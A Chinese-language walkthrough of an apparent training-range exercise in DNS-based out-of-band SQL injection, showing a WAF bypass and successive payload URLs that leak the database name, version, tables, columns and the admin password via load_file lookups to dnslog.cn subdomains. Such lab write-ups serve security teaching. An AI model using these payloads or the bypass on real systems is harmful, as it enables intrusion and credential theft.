DNS注入
靶场地址:http://59.63.166.75:8014/index3.php
原理
DNS注入:是通过查询相应DNS解析产生的记录日志来获取想要的数据
DNS-log:dns解析记录
UNC路径
什么是UNC路径?
UNC路径就是类似\softer这样的形式的网络路径
也可以理解为网络上的共享路径
格式为//servername/abc
servername:主机名
abc:共享文件夹
函数
load_file()读取文件的函数
读取文件并返回文件内容为字符串
要使用函数的前提是此文件必须位于服务器上,必须指定完整的文件路径,必须要有file权限
load_file()是数据库函数
该功能不是默认开启的
需要在Mysql配置文件加:secure_file_priv=
靶场演练
进入靶场发现,有源码提示,传参为id
在url栏后输入传参并测试闭合:?id=2 and 1=1 发现有waf检测
绕WAF
1、绕规则
2、绕检测
3、白名单
经过多次尝试,发现waf只对该网页的php文件进行防护,在php文件后加/1.txt即可绕开waf,因为该waf只对该网页的php文件进行防护,我们在后面随便加一个文件名,比如1.txt是不存在的,执行语句后发现文件不存在,会将语句递归给前面的php文件,waf规则会识别到是对1.txt进行访问
http://59.63.166.75:8014/index3.php/1.txt?id=2 and 1=1
在http://www.dnslog.cn/ 上获取一个临时的dns地址,
并且可以看到解析记录
get获取一个dns地址,Refresh查看解析记录
闭合为数字型
构造payload
http://59.63.166.75:8014/index3.php/1.txt?id=2 and (select load_file(concat(‘//’,database(),‘.909g2s.dnslog.cn/abc’)))
本身获取的域名的是二级域名,我们查询三级域名,在这个位置去显示我们查询的数据
获取数据库版本:
http://59.63.166.75:8014/index3.php/1.txt?id=2 and (select load_file(concat(‘//’,version(),‘.909g2s.dnslog.cn/abc’)))
表名:http://59.63.166.75:8014/index3.php/1.txt?id=2 and (select load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 0,1),‘.909g2s.dnslog.cn/abc’)))
第一个表名为admin
继续爆表
http://59.63.166.75:8014/index3.php/1.txt?id=2 and (select load_file(concat(‘//’,(select table_name from information_schema.tables where table_schema=database() limit 1,2),‘.909g2s.dnslog.cn/abc’)))
第二个表为news
爆第三个表时,无反应,只有这个两个表
爆admin下的列
http://59.63.166.75:8014/index3.php/1.txt?id=2 and (select load_file(concat(‘//’,(select column_name from information_schema.columns where table_schema=database() and table_name=“admin” limit 0,1),‘.g90h6g.dnslog.cn/abc’)))
第一个列为id
第二个为username
第三个为password
获取第四个无反应,只要id,username和password三个字段
一般来说存在password字段,id列和username列一般为短字段
直接爆password
http://59.63.166.75:8014/index3.php/1.txt?id=2 and (select load_file(concat(‘//’,(select password from admin limit 0,1),‘.g90h6g.dnslog.cn/abc’)))